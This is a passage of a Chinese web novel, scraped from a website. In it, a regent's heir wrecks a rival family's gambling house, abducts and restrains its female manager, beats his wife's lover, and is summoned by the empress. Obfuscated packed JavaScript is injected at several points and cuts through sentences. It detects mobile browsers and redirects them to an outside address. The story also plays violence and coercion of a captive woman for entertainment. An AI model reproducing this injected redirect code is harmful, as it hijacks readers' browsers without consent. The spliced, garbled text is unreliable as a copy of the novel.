“不想玩色子那就牌九叶子插花奴家这里都有。” “不。”林臻摇摇头态度很随意的说道:“我想玩你。” 张俪明显一愣随即又是痴痴笑道:“咯咯咯咯世子还是那么喜欢开玩笑 “我大哥从来就不开玩笑!”胖子站出来凶神恶煞的说道:“臭娘们是你自己脱还是胖爷帮你啊?” 张俪的脸瞬间就冷了下来。 知道王胖子是上将军王铁男的儿子但她背靠顾家丝毫不怕。 “胖爷今天火气不小啊。” 张俪一挥手身后十几名护院壮汉就凑了过来。 赌客们见状知道是要出事赶紧躲得远远的。 胖子顿时就乐了。 “噗哈哈哈哈就你们这些饭桶也敢过来找死?” 林臻摆摆手:“别别别这远大赌场是顾家的产业闹太僵了不好象征性地杀几个就行了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789143|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前半段话让张俪偷偷地长舒一口气。 她也很担心林臻会暴起发难毕竟摄政王府威名显赫两家真要闹起来可不是她一个小小掌柜就能顶事儿的。 然而林臻后面的话直接让她炸了毛:“世子!难道你真的要和我顾家撕破脸吗?” “他顾北辰闹我婚宴辱我门楣这张脸早就撕破了况且” 林臻往前一步单手搂住张俪的纤腰:“你根本代表不了顾家。” 这个动作让所有护院都怒目紧盯眼睛里恨不得喷出火来。 在远大赌 场混的,谁不想和张俪这个风情万种的女人发生点什么? “世子!你放开我!”张俪的脸瞬间就红透了。 她是万万想不到林臻竟然如此无赖! “从今天开始,你就是我的了。”这一刻的林臻好像变成了霸道总裁,回头面色狰狞地对胖子说道:“给我打!” 十名亲卫立刻就冲了上去。 他们可都是从尸山血海中爬回来的战士,其战斗力根本就不是几个看场子的护院能比拟的。 几乎是三拳两脚就把他们打得晕头转向。 其中一个家伙更狠,冲上去就把一个护院的脑袋给拧断了! “啊!!” “杀人啦!” “快跑啊!!” 赌客们见状纷纷抱头鼠窜地逃跑,而张俪就站在那里丝毫未动。 就这份定力,林臻都要给她竖个大拇指。 张俪看着乱糟糟的场面,狠辣地对林臻说道:“林臻,有种你就等到顾家的人来。” 另一边,新丰茶楼里,顾北辰刚刚作了一首还不错的诗。 刘书瑶满眼都是小星星的看着他,恨不得融化进他的怀里。 我喜欢的男人,就是这么优秀! 两人舒缓饮茶,身子也越靠越近。 “书瑶,你真美。” “嘻嘻.” 刘书瑶害羞地低下头,等待着爱人的亲吻。 就在此时,包厢的门突然被人推开。 “少爷!我们赌场被人砸了,您快去看看吧!” 第11章 你这个可恶的登徒子! “什么!?” 顾北辰眼珠子差点瞪出来。 他好像听到了这世间最离谱的消息。 顾家在京城屹立多年,位高权重,他们家的产业还从来没有人敢闹事呢。 一旁,刘书瑶放下茶盏,美眸中竟有几分狠辣闪过,用当家主母的口吻对顾北辰说道:“居然有人敢砸我们家的场子,顾郎,这事绝不能轻易算了!” 一句“我们家”,直接说进了顾北辰心坎里。 我深爱的女人终于接纳我了! 她终于承认和我是一家人了! 林臻,虽然你用强迫手段得到了她的人,但我顾北辰得到的却是她的心! 你永远都低我一等! 顾北辰激动的攥紧双拳,恨不得现在就抱着刘书瑶发生一段超越礼义廉耻的事情。 两人携手站起来,一副同进退,共富贵的样子。 “书瑶,我们一起去看看。” “看看到底是谁吃了熊心豹子胆,敢砸我们顾家的场子!” “嗯!顾郎,只要和你在一起,我什么都不怕!” 杀过人的士兵打看场子的精神小伙,无异于大人打小孩。 尤其在士兵毫无顾忌的情况下,几乎是拳拳致命,刀刀见血,不需一刻钟的时间远大赌场的所有马仔都被打翻在地。 林臻挟持张俪,坐在一张罗汉床上。 她的手脚都被牛筋捆住,无法挣脱,横着趴在林臻腿上,像条毛毛虫似的动来动去。 十分不雅的姿势没有激起林臻的野性,更没有趁机动手动脚。 张俪是她打算收服的第一个女人,绝不能用常规手段对待。 看着在自己怀里拱来拱去的美人,林臻语气里带着几分宠溺:“别拱了,像个小猪似的。” “你才是猪!林臻,你肆意破坏世家平衡,打砸产业,你眼中还有王法吗?”张俪显然没有林臻的柔情蜜意,态度恶劣。 林臻冷笑道:“王法?呵,只要我家老爷子活着一天,我就是王法!” 美人在怀,香气四溢,林臻很想控制住自己的心猿意马,但显然作用不大。 张俪感觉到他的变化,当即是又羞又急。 “林臻,你这个混蛋,登徒子!!” “哈哈哈哈。”一旁的胖子听到这话忍不住的狂笑:“还得是我大哥,这要是芦德豪,连顶都顶不到!” 芦德豪让看场子的小伙拍了一板砖,此刻疼得呲牙咧嘴,见胖子嘲讽自己,气得大骂:“我去你大爷的!” 张俪挣扎道:“林臻你放开我!否则等会顾少来了你就是磕头都没机会!” “一个只敢偷情的废物能把我怎么样?” “让我看看是谁在这说大话呢?” 顾北辰来了。 大门口阳光挥洒在他身上宛若披上了道道金光。 “少爷!” “少爷你可算来了!” “林臻带人砸了我们赌场还打了我们的人!” “连掌柜的都被她挟持了!” 众人看到他都忍不住的热泪盈眶纷纷跑过去跪拜在他脚下。 这就是主角光环啊。 魅力值高得离谱让每个跟着他的人都死心塌地把他奉若神明。 张俪也不例外 如果顾北辰此刻想要她她一定会欣然答应的。 只可惜她现在在林臻怀里。 “顾少救我!” 顾北辰万没想到来砸场子的是林臻回过头心虚地看了看刘书瑶没回应张俪的话。 他现在十分懊悔。 这次真是草率了他现在就只能祈祷林臻眼瞎别认出来。 而刘书瑶藏在斗笠里的表情也十分精彩一双杏眼睁得老大。 他根本不知道来砸场子的是林臻否则打死她也不会来。 因为那样实在是太尴尬了! 不过还好林臻并没有认出来的自己。 林臻看到刘书瑶胸脯大大的起伏便晓得她是偷偷的长舒口气。 其实早在进门的时候他就看到刘书瑶了。 只是他没有当场揭穿而已。 “林臻你太不懂规矩了!”顾北辰看着满地的狼藉与伤员气得脖子通红“身为王府世子竟敢做出这等卑劣的事情你眼中还有没有王法还有没有陛下!” 林臻带着玩世不恭的淡笑:“顾北辰你少来这一套 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789144|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想拿陛下压我?” “难道你敢对陛下不敬?” “不敢但我是来玩的玩玩也犯法吗?还是说陛下不允许我玩啊?” “玩?”顾北辰指着地上的人和垃圾“这难道是玩?” “对啊。我只是想玩玩你们掌柜的但是她不让还叫人打我。” 林臻拍了拍张俪的纤腰:“我好歹也是王府世子岂是能随便被人打的?” 张俪喊道:“一派胡言!顾少您别听他胡说八道他就是故意来找茬的!” 林臻大手狠狠拍在她屁股上。 “啪!” 一巴掌下去,把张俪骨头都打酥了,她惊恐大叫:“啊!” “林臻!”见林臻这么欺负自己的属下,顾北辰彻底被激怒了。 即便张俪只是顾家养的一条狗,他也不能做事不敢,否则会寒了下面人的心。 “你堂堂世子,竟为难一位女子,你还有没有羞耻心?” “羞耻?顾北辰,你有资格说这两个字吗?昨天在我家和我老婆偷情的人是不是你?” 说着林臻坏笑地看向戴着斗笠的刘书瑶,阴阳怪气的说道:“呦,昨天还和我老婆情意绵绵的,今天就换人了?不知道书瑶知道这个消息会不会伤心呢?” 刘书瑶不自觉地往后退了一步。 顾北辰也被怼得哑口无言。 他没想到林臻说话竟然如此刁钻,让人难以辩驳。 如果说身边人就是刘书瑶,那就相当于不打自招;如果不说,那自己就是个不负责任的花心大渣男。 不管是哪种情况都对他的名声极其不利。 但顾北辰作为主角,自然不是傻子。 干脆不理他的话茬,命属下搬来椅子坐下,故作轻松地转移话题。 “林臻,我不想和你说那些没用的,你砸了我的赌场,怎么赔啊?” 林臻把张俪的身体往上拽了拽,让自己抱着更舒服一些。 “你干脆把这个赌场赔给我的了。” “我说的是让你赔!” “对啊,就是你赔我啊。你爹可是说过三天之内给我王府一个答复的,我也不为难你,就要这个赌场吧。” 第12章 林臻,你他妈打够了没有? 顾北辰几乎是嘶吼着说:“这是不可能的! 远大赌场是顾家洗钱的重要据点,一旦给了王府,那顾家的钱怎么办?积累的人脉怎么办?顾家的声誉怎么办? 下流社会拼拳脚,中流社会比银钱,上流社会争面子。 一旦顾家的声誉受损,后果将比失去几十万两白银还要可怕! 林臻就是拿准了这间赌场对顾家的重要性,所以一口咬定。 他就是要断了顾家的所有气运,一点一点将主角光环套在自己身上。 这样就能彻底打败顾家。 而之所以选择不杀顾北辰,是因为忌讳太多。 当今天下一分为七,乾、秦、魏、韩、楚、燕、齐,各怀鬼胎,虎视眈眈。 尤其是与大乾毗邻的南楚最为好战,几乎是年年挑衅。 一旦大乾内部出现动荡,他们绝对会趁虚而入,届时全国都将生灵涂炭,百姓生活在水深火热之中。 林臻不忍看到这样的局面,所以他不能直接弄死顾家,让王府独大,那样就会形成皇帝猜忌大臣,大臣有恃无恐的不和谐局面。 虽然现在女帝对王府的抵触心理还很高,但并没有选择直接硬刚,毕竟江山社稷为重,王府也没有造反的想法。 一旦战事发生,全国上下都能拧成一股绳,女帝也会直接放权。 但顾家现在的想法就是要扳倒王府,自己独大,所以林臻必须要遏制住他们。 因为不是每个人都有自己这样的豁达心态,面对权力,丝毫不动心。 很多想法在脑子里一闪而过。 林臻捋清思路便笑道:“我就知道你不同意,要不这样吧,我们做个交易? 桀桀桀桀。 林臻又露出那副夜猫子般的笑声。 别说顾北辰了,就是王胖子看到都是一阵不寒而栗。 “什么交易? “你不是喜欢我老婆吗?林臻看向戴着斗笠的刘书瑶,一道奸计涌上心头:“今天我就用我老婆,和你换这座赌场。 “林臻!你这个王八蛋! 顾北辰还没说话呢,刘书瑶气得立刻掀起斗笠,对林臻破口大骂! 要的就是这效果! 狗肚子装不住二两香酥油。 林臻就猜到刘书瑶肯定忍不住,听到这句话一定会暴起! 果然,顾北辰脑瓜子嗡的一声,十分诧异的回头看去。 而林臻再次戏精附体,指着刘书瑶说道:“你!你怎么在这? “我 真是猪队友啊! 上次就是你不打自招,这次还来! 顾北辰现在掐死刘书瑶的心都有! “顾北辰,你他妈又勾引我老婆! 林臻把张俪抱起来扔到罗汉床上,自己则是飞奔过来,一拳打在顾北辰脸上。 “砰! “我***的! “大哥! “顾少! 见林臻暴起伤人,跟着顾北辰来的小弟纷纷要上前。 胖子和芦德豪也不是吃素的,尤其是胖子,见还有架打,兴奋异常。 一挥手,十名亲卫再次像饿虎扑食似的扑上来。 “砰! “啊! “顾北辰,老子今天就让你付出代价! “砰! 林臻把顾北辰打翻在地,依旧不停手。 啪! 一个右鞭腿! 啪! 一个左正蹬! 啪! 一个连五鞭。 顾北辰的脸青一块紫一块的。 “林臻,你他妈打够了没有? “没有!你三番五次勾引我老婆,老子今天就打死你,看陛下敢说什么! “林臻!刘书瑶实在看不下去了,死命把林臻拽开,然后扑到顾北辰身边,“你再敢打他,我就死在你面前! “你! 就知道刘书瑶会有这一手。 如果说昨天的捉奸事件只在小范围内传播的话,现在许许多多的老百姓可都看到了,回头传出去,顾北辰勾引王府少夫人.这对顾家来说恐怕不是什么好消息。 再演下去也没有必要了,力的作用是相互的,顾北辰脸疼,林臻的鞋也疼。 于是林臻起身,对还在殴打一个小厮的胖子喊道。 “胖子! “哎!大哥。 林臻一喊,胖子立刻停手, “回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789145|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家吧,晦气。林臻回过头对刘书瑶说道:“让我抓到两次,你自己想办法跟祖父解释。 言罢林臻来到罗汉床边,把张俪扛起来就走。 “林臻,你放开我! “你这个王八蛋! “这个女人,就当是你昨天和我老婆私会的赔偿了,赌场的事情,让你爹亲自来和我谈! 顾北辰恨得后槽牙都快咬碎了。 他抹了抹嘴角的血,阴狠的说道:“林臻. “顾郎.刘书瑶也知道事 情发展到现在,已经没有回头路了,只能回王府领罚,“我会再想办法来看你的.” “书瑶,我一定会救你出来的!” “一定!” 顾云霆来到儿子的庭院中,还没进门就看到一个青瓷花瓶被扔了出来! “砰!” 花瓶摔在地上,稀碎稀碎的。 顾云霆也不知道发生了什么事情,纳闷地走进去。 “北辰。” “滚!” “放肆!” 老子被儿子骂,还有天理吗? 顾北辰回头看去发现是老爹,立刻搭拢下脑袋。 “父亲.” “你脸上的伤是怎么回事?谁打的?” 看到儿子脸上青一块紫一块的,当爹的立刻就忘记被骂的事情。 放眼四九城,居然有人敢打他的儿子!? “是林臻” “林臻?他为何打你?” 顾北辰把前因后果一说,用春秋笔法抹去了私会刘书瑶的事情。 顾云霆闻言林臻如此嚣张,气得也把茶杯扔在地上。 “啪!” “林臻!你打我儿子,抢走我家掌柜,还砸了我家赌场!” 顾云霆怒火中烧,气得都不行了,也忘记询问儿子怎么会突然去赌场这件事。 “老夫这就要去殿上问问,这大乾江山究竟是陛下的,还是你林家的!” 说完顾云霆就要往外走,被顾北辰拦住。 “父亲稍后,容我换身衣服,我们父子俩一同上殿,就不信还没有王法了!” “也好,陛下对你素来宠爱,见你受伤,不会坐视不理的。” 第13章 真是岂有此理!宣林臻进宫 酒中仙酒楼后院的财宝正用牛车,一车一车地运往皇宫。 宫门口,顾云霆父子俩看到了这绵延不绝的车队,心都在滴血。 “林臻.老子一定要把你做成人彘,方能解我心头之恨!顾北辰眼睛乌青,鼻子上缠着一圈白绫,有血从鼻孔流出来,将白绫染红,看起来凄惨无比。 谷中满还跪在宫门口的石砖地上,饿了一天一夜的他头晕眼花,身体摇摇欲坠。 “顾相!看到顾云霆亲自到场,连滚带爬地凑过来,一双老眼含泪:“顾相救我啊! 顾云霆也有兔死狐悲的感慨,接住谷中满颤抖着的双手说道:“老谷,放心吧,很快就没事了。 “真的吗? “老夫绝不会让你成为这场斗争的牺牲品。你且先好好在这跪着,等这些财宝进宫,你就可以去见陛下了。 谷中满看着数不尽的牛车排队进宫,感动得稀里哗啦,对顾云霆纳头就拜。 “顾相的恩情,臣无以为报! “嗯。顾云霆深吸口气,斗志昂扬地看向宫门:“北辰,我们这就去找陛下讨个说法。 议政殿里,一身威严龙袍的慕容嫣正在批阅奏折。 大乾地处北方,与游牧民族接壤。 国土东到辽西,西至太行,南邻泰山,在七国当中,面积最小、国力最差、势力也最单薄,可偏偏又是人口最多的。 巴掌大的地盘,人口足有千万之多。 这几乎是各个国家眼中的肥肉,都恨不得一口吞下。 因此慕容嫣每天需要思考的东西也特别多。 前段时间,顾北辰给她出谋划策,提高了商税,巩固了边关防御,让慕容嫣很是欢喜。 提拔顾北辰为翰林院院判、侍读学士,相当于慕容嫣的私人军师,还授予他监察百官之权。 这是这样一个被皇帝宠爱的重臣,转眼就不知廉耻的与摄政王府少夫人通奸。 这让慕容嫣如何不失望? “唉。 贴身侍女嬛嬛走过来,奉上一盏茶。 “陛下还在因为顾北辰的事情伤神吗? “不。说道顾北辰,慕容嫣脸上竟露出一丝笑容,“北辰很有才学,朕听闻他及冠以后一直没有结婚,就是因为深爱刘书瑶,甚至不惜闯入王府抢亲,这样不离不弃,重情重义的男子,朕很欣赏。 “朕只是想不通,像顾云霆这样毫无底线的贪官,怎会 教养出北辰这样的人中龙凤。可惜可叹啊。” 嬛嬛说道:“顾相贪墨是真忠心于陛下也是真。不像摄政王一把年纪还死死攥着兵权不松手当真是可恶。” 想起顾北辰那满是自信的笑容就连嬛嬛都有些如痴如醉。 谁不喜欢又有才华长得又帅家庭又好的霸道总裁呢? 慕容嫣轻笑一声:“呵你个深宫里的丫头懂什么?去办你的事。” “是。” 嬛嬛伺候慕容嫣二十年两人一起长大情同姐妹也是唯一知道慕容嫣真实身份的人。 所以慕容嫣很少责备她。 这时太监从外面传话。 “启禀陛下顾相与顾院判求见。” “顾院判也来了吗?”嬛嬛惊喜得满眼都是小星星。 慕容嫣也很高兴不知道为什么她对顾北辰就是讨厌不起来但想想这两天发生的事情还是故意虎着脸说道:“呵不过是为了谷中满的事情而来。” “也罢叫他们进来吧。” “是!” “宣顾云霆、顾北辰上殿觐见!” 父子俩憋了一肚子火闻言立刻进殿。 来到龙案前双双下跪。 “臣参见陛下吾皇万岁。” “嗯平身吧。” “.” 顾云霆和顾北辰都没有起来依旧作揖跪在地上。 慕容嫣放下手里的活计抬眼一看就看到顾北辰脑袋裹的像个木乃伊。 不知道为何她的心疼了一下然后厉声问道:“北辰 顾云霆嗷一嗓子眼泪就开始噼里啪啦往下掉:“陛下啊!!呜呜呜.” “林臻仗着摄政王撑腰光天化日之下带着几名纨绔把北辰给打了!” 慕容嫣对顾北辰十分关切:“北辰这是真的吗?” “是” “砰!真是岂有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789146|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此理!”慕容嫣一拍桌子站起来“林震仙你养的好孙子!蔑视规矩践踏律法你眼里到底还有没有朕!” “来人!宣林臻进宫!” 摄政王府一处偏院内。 林臻把张俪扔在床榻上随即坐回圆桌边顺气。 这具身体还是太差了稍微有点动作就会喘个不停等日后稳定下来必须得好好练练。 张俪依旧是满脸的不服气眼神中有着极其强烈的挣扎与怨恨。 “林臻!!你身为王府世子竟如 此欺负我一个弱女子,你还要不要点脸?你还有没有点上位者的尊严!?你们林家人都这个德行吗?” 反观林臻却像换了个人,全然没有了半个时辰前的玩世不恭和戾气,甚至连头都没有回的淡淡道。 “张俪,你今天被我在众目睽睽之下扛走,不需一天的时间全城都会知道我们俩了发生。顾家的名声可远不是你一个风尘女子能比拟的,所以顾北辰也不会再选择你这个残花败柳来当掌柜。” 说到这,林臻有些自嘲地说道:“呵,而且,他现在一门心思都在我老婆身上,是不会喜欢你的,你也别妄想做顾府阔太太。” 张俪略有些惊讶。 以前她与林臻只有过几面之缘,关于后者的很多信息都是通过传闻得知的。 不过现在的林臻可与传闻中那个纨绔不同,他现在就像个观看螳螂与蝉的黄雀,是个阴谋家。 张俪也冷静下来,躺在床榻上姿势很不雅地问道:“你到底想怎么样?” “我很欣赏你的能力,想让你为我所用。”林臻转过身,双臂撑着膝盖,以胜利者的姿态高高在上地说道。 “张俪,识时务者为俊杰。跟我混,以后荣华富贵享用不尽,甚至你愿意的话,我也可以把你收为妾室,让你从最底层的商贾,变为有诰命的王府夫人。” “但是如果你选择跟着顾北辰,就只有死路一条。” “你是个聪明女人,如何权衡利弊自不用我多说,好好考虑吧。” 言罢林臻起身离开。 而张俪则是盯着他的背影,目光消沉,情绪低落,不知在想些什么。 第14章 书瑶别怕,昏过去就不难受了 像张俪这样的女人,就算用强也只能得到她的身体,得不到她的效忠。 以林臻的身份想要什么样的女人都可以有,完全没必要因为贪图美色而浪费一个人才。 在原书中,张俪的能力是十分突出且毋庸置疑的。 由她坐镇的赌场、青楼,茶馆等等产业收集了整个大乾王朝的情报以及各种民间轶事,为顾北辰的称霸之路加冕,最终助他成为天下之主。 最重要的是,她一心一意爱着顾北辰,即便顾北辰几年都不去看她一眼。 这样的女人就该属于最强的男人,而自诩最强男人的林臻当然没理由放过。 摄政王府很大很大,其面积堪比恭王府,每位主家都有自己单独的院落。 林臻缓步走到石子路上,心里想着如何攻略张俪的事情,缓步来到林震仙的独院。 刚过月亮门,就看见一席白衣的刘书瑶跪在门外。 林震仙的亲卫,林大拿正像雕塑似的站在门口,对她不假颜色。 “世子!” 林大拿招呼了一声,刘书瑶回过头,泪眼婆娑地说道:“林夫君,帮妾身劝劝祖父吧,他老人家很生气。” 不知道为什么,林臻面对哭成泪人的刘书瑶没有半分同情,只有满满的厌恶。 又想和顾北辰好,又不想家族受到牵连。 现在还不愿意受惩罚。 说她是绿茶婊吧。好像也不算,因为她手段不够高明。 说她是为情付出吧。那林臻以前对她的情又怎么算呢? 总之这是个为了爱顾北辰,而丝毫不顾林臻的人。 不过对林臻而言,为了对付顾北辰,她还有很大用处。 所以林臻并没有把厌恶表现出来,而是用骗死人不偿命的口吻说道。 “书瑶,你知道我是爱你的。可是祖父发怒谁也劝不了,你就好好再此跪着吧,估计明天的这个时候,你也就昏迷了。昏过去就不知道难受了。” 刘书瑶万万想不到这样的话竟然出自林臻之口。 “你夫君,难道你以前对我的好都是假的吗?你说过你愿意为我做任何事情的!” “当然是真的!”林臻理所应当地说道,“可是我去做,和我做不做得到,是两码事。” 说完林臻起身,不再和这个毒妇多言语。 林大拿见他过来,笑着打招呼:“世子,牛逼啊!” 林臻:? “牛逼什么?” “嗐,你刚进家门的时候管家就来报 告了说你抢回来个风尘女子老爷生气不是因为少夫人私会顾北辰而是你!” “啊?” 这消息传得也太快了吧? 这前后还没一盏茶的功夫呢。 林臻无奈地摇摇头。 果然啊古代娱乐方式少大家基本都靠传闲话来逗闷子。 “没有你想的那么龌龊好好站岗。”言罢林臻推门而入。 卧房很大林震仙正在西厢的沙盘边双手撑在边缘瞩目沉思。 这是他每天都要做的事情。 林臻知道这位老人一生的心愿就是能够收复失地重现大乾辉煌。但是因为国力孱弱根本就没有机会永远只能被动挨打。 可笑女帝、顾云霆他们居然还算计这位精忠报国的老人。他们岂不知如果不是林震仙的存在大乾早就被吞并了根本不会有今天。 不过话又说回来原书的剧情就是这样设计的大家都是给顾北辰刷经验的工具人嘛。 林臻走到他近前作揖:“祖父。” “回来了。” “是。” “臻儿你来看那是什么?” 林震仙用竹竿指向沙盘中的一座大山林臻随便看了眼就有些忍俊不禁。 这TM不就是自己第一次下基层的地方么。 “太行山。” “没错就是太行山!祖父一生的心愿就是希望能够夺回本属于我大乾的太行九州!” “可惜啊!”林震仙仰天哀叹:“国家羸弱老夫也年逾六旬。林家后继无人我大乾注定会被他国吞并的.” 看着有些伤感的老头林臻有些不忍。 “祖父有我在大乾不会被吞并的。” “放屁!”林震仙大怒一下将竹竿掰断扔到一边。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789147|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“就你这副德行家国大事你能帮上什么?二十几岁的人了不思进取整日怀恋于温柔之乡今天居然还抢回来个风尘女子!你想干什么?想让她来做王府夫人吗?” 林臻知道这时候绝不能和老爷子叫板否则会吃苦头的赶紧跪了下去。 古代人受儒家思想教育讲究百善孝为先认为孝是诸德之本。你敢跟长辈顶嘴被乱棍打死官府都不带管的。 “祖父请听孙儿一言事情并不是您想象那样。” “嗯?” 林震仙突然觉得有些不对头。 以前他发脾气的时候 今天这是怎么了? “那你且说说,为什么做出这种有辱门风的事情来?” “祖父,这个女人不是一般人,而是顾北辰手下最重要的情报人员。孙儿把她抢回来,是想断掉顾家的一条臂膀,让他们失去民间耳目,这样我们对付起顾家来会更加得心应手。” “另外,孙儿今天去了远大赌场,又抓到刘书瑶和顾北辰私会,于是又故意揍了顾北辰一顿。孙儿猜想,现在顾北辰不是在家里发脾气,就是在宫里和陛下诉苦。” “如果是后者最好,孙儿可以趁机将远大赌场变成我林家的产业!” 嘶. 林震仙倒吸一口凉气。 通过昨天和今天发生的事情,他认为自己有点看不透这个孙子了。 以前的他可不是这个性格。吃喝嫖赌,五毒俱全,回回打回回不长记性,很多都是狐朋狗友一勾搭,他就又犯了错误。 但是他今天的表现,就连林震仙也不得不说上一句,这小子很稳当。 说话铿锵有力,不卑不亢,偏偏又句句在理,让人没办法反驳。 这还是我从小养到大的臻儿吗? 不过,林震仙是武将,最不喜这些暗中斗法的事情,于是他挥挥手让林臻起来。 “还算你小子诚实,连打顾北辰的事情都主动承认了。起来吧。以后多看看兵书,这些上不得台面的龌龊事情少心思。” 看兵书? 我的亲爷爷啊,您老人家就是兵书看得太多,所以后来才会死得那么惨! 第15章 鳄鱼的眼泪 当然,这样的话也只能在心里想想,绝不可能说出来的。 作为中央选调生的林臻深知,庙堂争斗永远要比想象中的更可怕。 仅仅一个稍微有点实权的职位,就有成百上千的人为之打破头颅,奉献身体,倾家荡产。 更何况林震仙掌握的是大乾命脉,是悬在所有人头上的一把快刀。 这让那些在他威慑下苟延残喘的官员如何能不抵触?稍有机会就想着弄死你。 还有三个月南楚就要入侵了,等到那时林震仙会战死沙场,然后林家覆灭,林臻被做成人彘。 其实林震仙在对敌作战能力这方面丝毫不弱,他只是输在政治上。 向来不懂得委婉,不屑搞阴谋诡计的林震仙在朝堂中树立了太多敌人。 与南楚大战时,战事吃紧,女帝听从顾北辰等奸臣的建议,克扣粮草、补给,导致前方将士吃不饱,穿不暖,兵器都生了锈。 这样打仗,能打赢就出鬼了。 所以,林臻必须要在南楚入侵前,将朝堂里的一切事情都搞定好,避免出现这样的情况。 只要林震仙不倒,林家就绝不会倒。 林震仙听完孙子的解释好像放松了许多,来到太师椅上坐好,拿过茶盏,轻轻拨弄茶叶,神色怡然地说道。 “那个女人一直在门外哭,你就丝毫不心疼?” “呵。”林臻冷笑:“不过是鳄鱼的眼泪罢了,有什么好心疼的。” 林震仙对这个新词汇有些好奇:“鳄鱼的眼泪?这可有什么典故?” “鳄鱼,也就是南诏的土龙。传闻说土龙在袭击人类之前会流出眼泪,装作悲天悯人状以让人放松警惕,然后突然再袭击;还有一种说法就是,土龙将猎物抓捕到手之后,在吞食的同时会假惺惺地流泪不止。总之,这个女人活该,根本不值得同情。” “那你以前为她做的那些事,都是假的?”如果真是这样,恐怕就连林震仙都会对林臻的胆识与谋略感到害怕。 不过还好,林臻并没有承认。 “非也。只不过是我在新婚之日那天突然想通了。以孙儿的身份,天下间什么样的女人找不到?没必要单恋一支花。” “好!这才是我林震仙的孙子!” “哈哈哈哈。”老爷子显然很是高兴,起身从腰带间取下一块令牌来,“额” 林臻眼睛瞪得老大。 他知道,这是京城四大营的虎符!也是顾北辰做梦都想得到的东西。 只要有了它,护卫 京城的六万军卒就是自己的! 林臻按耐住激动,偷偷准备好了获奖感言。 什么感谢爹妈啊,感谢社会啊,感谢天地啥啥啥的。 而林震仙却突然一犹豫,想了想觉得不妥,又收了回去。 林臻当时就急了! 别介啊! 这玩意放在我身上,可比放你身上作用大多了! 林震仙:“咳咳咳,臻儿啊,这两天表现不错,没什么事情的话就先下去吧。” “我是。” 林臻有些垂头丧气。 还是自己以前太浑蛋,让林震仙对自己没有充足的信任。 他担心自己拿到兵权以后胡作非为。 说来也对,只要不是傻子,任何人都不会把兵权交在一个纨绔的手里,那是对国家与社稷的不忠。 出了门,刘书瑶还跪在那里,脸上的泪珠就没停过。 “夫” “林世子!!” 夫君两个字还没喊出口,月亮门外就传来太监特有的公鸭嗓喊叫。 林臻望去,就见三名穿着深蓝色长袍的太监,被十名御林军簇拥着来到院子里。 此人林臻认识,是慕容嫣身边的掌印太监,慕容无舌。 林臻笑着迎接:“原来是无舌大人,幸会幸会。” “林世子,呵呵呵。”死太监皮笑肉不笑地说道:“杂家特来传陛下旨意,宣您进宫。” “哦?” 林臻摸了摸身上,发现没带钱,回头就扑在林大拿乱摸,最后在他裤裆里掏出一块银饼子。 林臻满脸嫌弃地说道:“小气劲儿,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 